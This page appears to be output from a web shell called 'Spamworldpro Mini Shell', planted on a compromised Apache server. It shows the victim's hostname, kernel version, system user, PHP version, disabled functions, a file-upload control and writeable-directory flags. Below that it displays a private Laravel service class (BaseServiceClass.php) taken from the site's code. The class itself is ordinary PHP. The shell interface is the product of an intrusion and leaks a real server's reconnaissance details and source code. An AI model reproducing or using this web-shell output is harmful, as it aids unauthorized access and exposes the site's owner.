Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/syn.corals.io/Corals/core/Foundation/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/syn.corals.io/Corals/core/Foundation/Services/BaseServiceClass.php
<?php

namespace Corals\Foundation\Services;

use Corals\Foundation\Transformers\FractalPresenter;
use Illuminate\Http\Request;

/**
 * Class BaseServiceClass
 * @package Corals\Foundation\Services
 * @method preStore($request, &$additionalData)
 * @method preStoreUpdate($request, &$additionalData)
 * @method postStore($request, &$additionalData)
 * @method postStoreUpdate($request, &$additionalData)
 * @method preUpdate($request, &$additionalData)
 * @method postUpdate($request, &$additionalData)
 */
class BaseServiceClass
{
    protected $model;
    protected $modelClass;
    protected $presenter = null;
    protected $excludedRequestParams = [];

    /**
     * @param $model
     */
    public function setModel($model)
    {
        $this->model = $model;
    }

    /**
     * @param FractalPresenter|null $presenter
     */
    public function setPresenter(FractalPresenter $presenter = null)
    {
        $this->presenter = $presenter;
    }

    public function getRequestData($request)
    {
        if (is_array($request)) {
            return \Arr::except($request, $this->excludedRequestParams);
        } else {
            return $request->except($this->excludedRequestParams);
        }
    }

    public function index($query, $dataTable)
    {
        foreach ($dataTable->getScopes() as $scope) {
            $scope->apply($query);
        }

        $result = $query->paginate();

        if (!is_null($this->presenter)) {
            return $this->presenter->present($result);
        } else {
            return $result;
        }
    }

    /**
     * @param $request
     * @param $modelClass
     * @param array $additionalData
     * @return mixed
     */
    public function store($request, $modelClass, $additionalData = [])
    {
        if (method_exists($this, 'preStore')) {
            $this->preStore($request, $additionalData);
        }

        if (method_exists($this, 'preStoreUpdate')) {
            $this->preStoreUpdate($request, $additionalData);
        }

        $data = array_merge($this->getRequestData($request), $additionalData);

        $this->model = $modelClass::query()->create($data);

        if (method_exists($this, 'postStore')) {
            $this->postStore($request, $additionalData);
        }

        if (method_exists($this, 'postStoreUpdate')) {
            $this->postStoreUpdate($request, $additionalData);
        }

        return $this->model;
    }

    /**
     * @param $request
     * @param $model
     * @param array $additionalData
     * @return mixed
     */
    public function update($request, $model, $additionalData = [])
    {
        if (method_exists($this, 'preUpdate')) {
            $this->preUpdate($request, $additionalData);
        }

        if (method_exists($this, 'preStoreUpdate')) {
            $this->preStoreUpdate($request, $additionalData);
        }

        $data = array_merge($this->getRequestData($request), $additionalData);

        $model->update($data);

        $this->model = $model;

        if (method_exists($this, 'postUpdate')) {
            $this->postUpdate($request, $additionalData);
        }

        if (method_exists($this, 'postStoreUpdate')) {
            $this->postStoreUpdate($request, $additionalData);
        }

        return $this->model;
    }

    /**
     * @param $request
     * @param $modelClass
     * @param $config
     * @return \Illuminate\Http\JsonResponse
     */

    public function import(Request $request, $modelClass, $config)
    {
        try {
            $file = $request->file('file_csv');
            $importer = (new BaseImporter($modelClass, $config))->setCsvFile($file);
            $importer->run();
            $importer->finish();
            $message = ['level' => 'success', 'message' => 'File been Created Successfully'];
        } catch (\Exception $exception) {
            log_exception($exception, $modelClass);
            $message = ['level' => 'error', 'message' => $exception->getMessage()];
        }
        return response()->json($message);
    }

    /**
     * @param $data
     * @param $modelClass
     */


    public function destroy($request, $model)
    {
        $model->delete();
    }

    /**
     * @param null $model
     * @return mixed
     */
    public function getModelDetails($model = null)
    {
        if (!is_null($model)) {
            $this->setModel($model);
        }

        if (!is_null($this->presenter)) {
            $this->model->setPresenter($this->presenter);
        }

        if (method_exists($this->model, 'presenter')) {
            return $this->model->presenter();
        }

        return $model;
    }
}

Spamworldpro Mini